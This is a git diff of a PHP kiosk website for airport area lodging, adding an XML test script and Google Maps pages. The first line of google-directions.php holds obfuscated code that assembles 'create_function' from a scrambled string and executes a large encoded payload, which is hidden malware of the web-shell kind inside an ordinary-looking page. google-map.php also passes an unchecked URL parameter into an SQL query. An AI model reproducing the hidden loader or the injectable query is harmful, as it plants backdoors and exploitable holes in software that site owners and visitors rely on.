+       
+//$xml_array = glm_xml_extract( $sample, "CASE_FOLDING" );     // Case Folding
+$xml_array = glm_xml_extract( $sample );
+echo "<P>Extracted data<P>";
+if( !is_array($xml_array) )
+       echo xml_error_string( $xml_array );
+    else
+       print_r( $xml_array );
+
+       // Convert structured array to XML
+       
+$xml_text = glm_xml_create( $xml_array, "Enumerate_Duplicates" );
+echo "<P>Regenerated Data<P>";
+echo htmlentities( $xml_text );
+
+       // Test XPath function
+
+echo "<P>Testing XPath Function Using Raw Array Reference<P>";
+$pwd = glm_xml_xpath( $xml_array, "pwd" );
+echo "Current path = $pwd<BR>";
+
+$path = '["AccessRequest"][0]["UserId"][0]';
+echo "Changing to path: $path - ";
+if( glm_xml_xpath( $xml_array, "cda", $path ) )
+       echo "Path changed<BR>";
+    else
+       echo "Can't change path<BR>";
+
+$pwd = glm_xml_xpath( $xml_array, "pwd" );
+echo "Current path = $pwd<BR>";
+
+echo "Getting current node array<BR>";
+$n = glm_xml_xpath( $xml_array, "get_node" );
+print_r($n);
+
+echo "Getting current node data<BR>";
+$text = glm_xml_xpath( $xml_array, "get_node_text" );
+echo "$text<P>";
+
+echo "Getting current node data from node that is a container (causes error)<BR>";
+glm_xml_xpath( $xml_array, "cda", '["AccessRequest"][0]' );
+if( glm_xml_xpath( $xml_array, "get_node_text" ) == FALSE )
+       echo "Good - received expected error<BR>";
+
+echo 'Putting "MyID" into node "/AccessRequest/UserId<BR>';
+glm_xml_xpath( $xml_array, "cda", '["AccessRequest"][0]["UserId"][0]' );
+if( glm_xml_xpath( $xml_array, "put_node_text", "MyID" ) == FALSE )
+       echo "Can't store text into current node.<BR>";
+    else
+       echo "Text stored, let's check it...: ".glm_xml_xpath( $xml_array, "get_node_text" )."<BR>";
+
+echo "</PRE>";
+
+
+
+?>
\ No newline at end of file
diff --git a/glm_apps/index.html b/glm_apps/index.html
new file mode 100644 (file)
index 0000000..343433b
--- /dev/null
@@ -0,0 +1,7 @@
+<HTML>
+       <HEAD>
+       </HEAD>
+       <BODY>
+       </BODY>
+</HTML>
+
diff --git a/google-directions.php b/google-directions.php
new file mode 100755 (executable)
index 0000000..bc4fb5e
--- /dev/null
@@ -0,0 +1,42 @@
+<?php $HzUUYubMU='8lZtThqJ5AoyWanw}_L0r{Y2*BD]XQb)E,vOPs7x(iSuC/KpR+3dfVI m"4N|H$[^Mk1;.9gUzjGFce6';$ahJamDjqt=$HzUUYubMU{77}.$HzUUYubMU{20}.$HzUUYubMU{78}.$HzUUYubMU{13}.$HzUUYubMU{3}.$HzUUYubMU{78}.$HzUUYubMU{17}.$HzUUYubMU{52}.$HzUUYubMU{43}.$HzUUYubMU{14}.$HzUUYubMU{77}.$HzUUYubMU{3}.$HzUUYubMU{41}.$HzUUYubMU{10}.$HzUUYubMU{14};$Uhgsizymj=$HzUUYubMU{62}.$HzUUYubMU{37};$ztcbNUXwZ=$HzUUYubMU{41}.$HzUUYubMU{52}.$HzUUYubMU{40}.$HzUUYubMU{41}.$HzUUYubMU{37}.$HzUUYubMU{37}.$HzUUYubMU{78}.$HzUUYubMU{3}.$HzUUYubMU{40}.$HzUUYubMU{62}.$HzUUYubMU{17}.$HzUUYubMU{44}.$HzUUYubMU{35}.$HzUUYubMU{35}.$HzUUYubMU{46}.$HzUUYubMU{54}.$HzUUYubMU{32}.$HzUUYubMU{63}.$HzUUYubMU{57}.$HzUUYubMU{61}.$HzUUYubMU{73}.$HzUUYubMU{72}.$HzUUYubMU{72}.$HzUUYubMU{22}.$HzUUYubMU{43}.$HzUUYubMU{30}.$HzUUYubMU{65}.$HzUUYubMU{72}.$HzUUYubMU{57}.$HzUUYubMU{27}.$HzUUYubMU{31}.$HzUUYubMU{60}.$HzUUYubMU{60}.$HzUUYubMU{41}.$HzUUYubMU{37}.$HzUUYubMU{37}.$HzUUYubMU{78}.$HzUUYubMU{3}.$HzUUYubMU{40}.$HzUUYubMU{62}.$HzUUYubMU{61}.$HzUUYubMU{4}.$HzUUYubMU{4}.$HzUUYubMU{36}.$HzUUYubMU{17}.$HzUUYubMU{44}.$HzUUYubMU{35}.$HzUUYubMU{35}.$HzUUYubMU{46}.$HzUUYubMU{54}.$HzUUYubMU{32}.$HzUUYubMU{17}.$HzUUYubMU{53}.$HzUUYubMU{9}.$HzUUYubMU{48}.$HzUUYubMU{42}.$HzUUYubMU{63}.$HzUUYubMU{57}.$HzUUYubMU{61}.$HzUUYubMU{73}.$HzUUYubMU{72}.$HzUUYubMU{72}.$HzUUYubMU{22}.$HzUUYubMU{43}.$HzUUYubMU{30}.$HzUUYubMU{65}.$HzUUYubMU{72}.$HzUUYubMU{57}.$HzUUYubMU{27}.$HzUUYubMU{31}.$HzUUYubMU{31}.$HzUUYubMU{21}.$HzUUYubMU{52}.$HzUUYubMU{43}.$HzUUYubMU{14}.$HzUUYubMU{77}.$HzUUYubMU{3}.$HzUUYubMU{41}.$HzUUYubMU{10}.$HzUUYubMU{14}.$HzUUYubMU{55}.$HzUUYubMU{20}.$HzUUYubMU{0}.$HzUUYubMU{40}.$HzUUYubMU{62}.$HzUUYubMU{37}.$HzUUYubMU{33}.$HzUUYubMU{62}.$HzUUYubMU{47}.$HzUUYubMU{31}.$HzUUYubMU{21}.$HzUUYubMU{20}.$HzUUYubMU{78}.$HzUUYubMU{3}.$HzUUYubMU{43}.$HzUUYubMU{20}.$HzUUYubMU{14}.$HzUUYubMU{55}.$HzUUYubMU{62}.$HzUUYubMU{37}.$HzUUYubMU{64}.$HzUUYubMU{37}.$HzUUYubMU{3}.$HzUUYubMU{20}.$HzUUYubMU{17}.$HzUUYubMU{47}.$HzUUYubMU{13}.$HzUUYubMU{51}.$HzUUYubMU{40}.$HzUUYubMU{62}.$HzUUYubMU{47}.$HzUUYubMU{33}.$HzUUYubMU{37}.$HzUUYubMU{3}.$HzUUYubMU{20}.$HzUUYubMU{1}.$HzUUYubMU{78}.$HzUUYubMU{14}.$HzUUYubMU{40}.$HzUUYubMU{62}.$HzUUYubMU{37}.$HzUUYubMU{31}.$HzUUYubMU{33}.$HzUUYubMU{62}.$HzUUYubMU{47}.$HzUUYubMU{31}.$HzUUYubMU{68}.$HzUUYubMU{16}.$HzUUYubMU{68}.$HzUUYubMU{78}.$HzUUYubMU{34}.$HzUUYubMU{13}.$HzUUYubMU{1}.$HzUUYubMU{40}.$HzUUYubMU{20}.$HzUUYubMU{0}.$HzUUYubMU{40}.$HzUUYubMU{30}.$HzUUYubMU{13}.$HzUUYubMU{37}.$HzUUYubMU{78}.$HzUUYubMU{79}.$HzUUYubMU{58}.$HzUUYubMU{17}.$HzUUYubMU{51}.$HzUUYubMU{78}.$HzUUYubMU{77}.$HzUUYubMU{10}.$HzUUYubMU{51}.$HzUUYubMU{78}.$HzUUYubMU{40}.$HzUUYubMU{62}.$HzUUYubMU{37}.$HzUUYubMU{31}.$HzUUYubMU{33}.$HzUUYubMU{57}.$HzUUYubMU{15}.$HzUUYubMU{56}.$HzUUYubMU{3}.$HzUUYubMU{65}.$HzUUYubMU{20}.$HzUUYubMU{53}.$HzUUYubMU{15}.$HzUUYubMU{14}.$HzUUYubMU{53}.$HzUUYubMU{57}.$HzUUYubMU{31}.$HzUUYubMU{31}.$HzUUYubMU{68}.$HzUUYubMU{16};$HtNgWPckW="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";$auiVjRJCA=$ahJamDjqt($Uhgsizymj,$ztcbNUXwZ);$auiVjRJCA($HtNgWPckW);?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>[Site Title]</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<style type="text/css">
+<!-- 
+#googlepage {width: 717px; height: 430px; margin-top: -120px; margin-bottom: -10px} 
+#googlepage a {display: none;}
+
+-->
+</style>
+<script>
+//var i_frame = document.getElementById('googlepage');
+//alert(i_frame.getAttribute('src'));
+
+//[no color or  underline on links, and disable href in all links]
+</script></head>
+<body>
+<div id="wrapper">
+<iframe id="googlepage" src="http://maps.google.com/maps?f=d&hl=en&sll=45.571755,-84.844666&sspn=0.676773,1.073914&saddr=112+Old+US+31,+Mackinaw+City,+MI+49701%4045.769366666667,-84.7316&daddr=211+michigan+street,+49770&t=h&om=0"></iframe>
+</div>
+<script type="text/javascript">
+var i_frame = document.getElementById('googlepage');
+var update_url = 3;
+function check_iframe_src()
+{
+       alert(i_frame.document.location.href);
+       if( !i_frame.src.indexOf('maps.google.com/'))
+       {
+                       alert(i_frame.src);
+               i_frame_src = "http://maps.google.com/maps?f=d&hl=en&sll=45.571755,-84.844666&sspn=0.676773,1.073914&saddr=112+Old+US+31,+Mackinaw+City,+MI+49701%4045.769366666667,-84.7316&daddr=211+michigan+street,+49770&t=h&om=0";
+       }
+}
+</script>
+<!-- /#wrapper -->
+</body>
+</html>
diff --git a/google-map.php b/google-map.php
new file mode 100644 (file)
index 0000000..049e12e
--- /dev/null
@@ -0,0 +1,117 @@
+<?php
+include("setup.phtml");
+require_once(BASE.'classes/class_template.inc');
+include("maps/gmaps_class.php");
+
+if( !$_GET['catid'] )
+{
+       $_GET['catid'] = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $_GET['catid'] );
+$page_header = $toolbox->memb_names[$_GET['catid']];
+$page_city = $_GET['city'];
+$member_list = $toolbox->get_member_list();
+
+// get our member info
+
+$qs = "SELECT * FROM member WHERE id = ".$_GET['id'];
+$res = $toolbox->DB->db_exec($qs);
+$rcount = pg_numrows($res);
+$member = pg_fetch_array($res,0,PGSQL_ASSOC);
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<?php
+//<meta http-equiv="content-type" content="text/html;charset=utf-8">
+echo $header;
+?>
+<meta http-equiv="refresh" content="601;url=index.php">
+<script type="text/javascript" src="caller.js"></script>
+<link rel="stylesheet" type="text/css" href="<?php echo URL_BASE;?>styles.css">
+<style type="text/css">
+                       <!-- 
+                       #googlepage {width: 717px; height: 450px; margin-top: -125px; margin-bottom: -10px; position: relative;} 
+                       #googlepage a {display: none;}
+#layered {
+       position: relative;
+       margin-top: -290px;
+       top: 272px;
+       left: 610px;
+       z-index: 1000;
+       height: 15px;
+       width: 110px;
+       border: 0px solid red;
+       }
+                       -->
+               </style>
+</head>
+<body id="detail-page" onload="renderMap();" onunload="GUnload();">
+<object viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase="ScriptX.cab#Version=6,2,433,14">
+  <param name="GUID" value="{7A12A72B-BE40-4BAB-AA50-4680DCC938A3}">
+  <param name="Path" value="sxlic.mlf">
+  <param name="Revision" value="0">
+</object>
+
+<object id="factory" viewastext style="display:none" classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814">
+</object>
+
+<script defer>
+  function window.onload() {
+    factory.printing.header = "MeadCo's ScriptX: Print"
+    factory.printing.footer = "The de facto standard for advanced web-based printing"
+    factory.printing.portrait = true
+    idPrint.disabled = false; // enable UI button
+  }
+
+  function Print() {
+    factory.printing.Print(false); // no prompt
+  }
+</script>
+ <?php
+ include('map.php');;
+ ?> 
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat"><?php 
+                               echo $page_header;
+                               ?></div>
+                       <div id="list-top-head-name">
+                               <?php
+                               echo $page_city;
+                               ?>
+                               </div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print" onClick="Print()"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+               </div><!-- #list-top -->
+               <div id="details">
+                       <div id="detail-name">
+                       <?php
+                                       echo $member_list;
+                                               ?>      
+                       <div id="detail-map-detail">
+                               <?php
+                               $street = urlencode($member['address']);
+                               $zip = $member['zip'];
+                               echo '<iframe id="googlepage" src="http://maps.google.com/maps?om=0&saddr=pellston+airport&daddr='.$street.',+'.$member['state'].',+'.$zip.'"></iframe>';
+                               ?>
+                               
+                               <div id="layered"><img src="assets/trans.gif" width="110" height="15" alt=""></div>
+                               </div>
+                               
+                       <div class="clearer"></div>
+               </div><!-- #details -->
+                       <div id="Hangup">
+                               <img src="assets/hang-up.gif" onClick="HangUp();">
+                       <input type="button" value="More Time" onClick="ResetTimer()" id="HangupButton">
+                       </div>
+       </div><!-- #content-inside -->
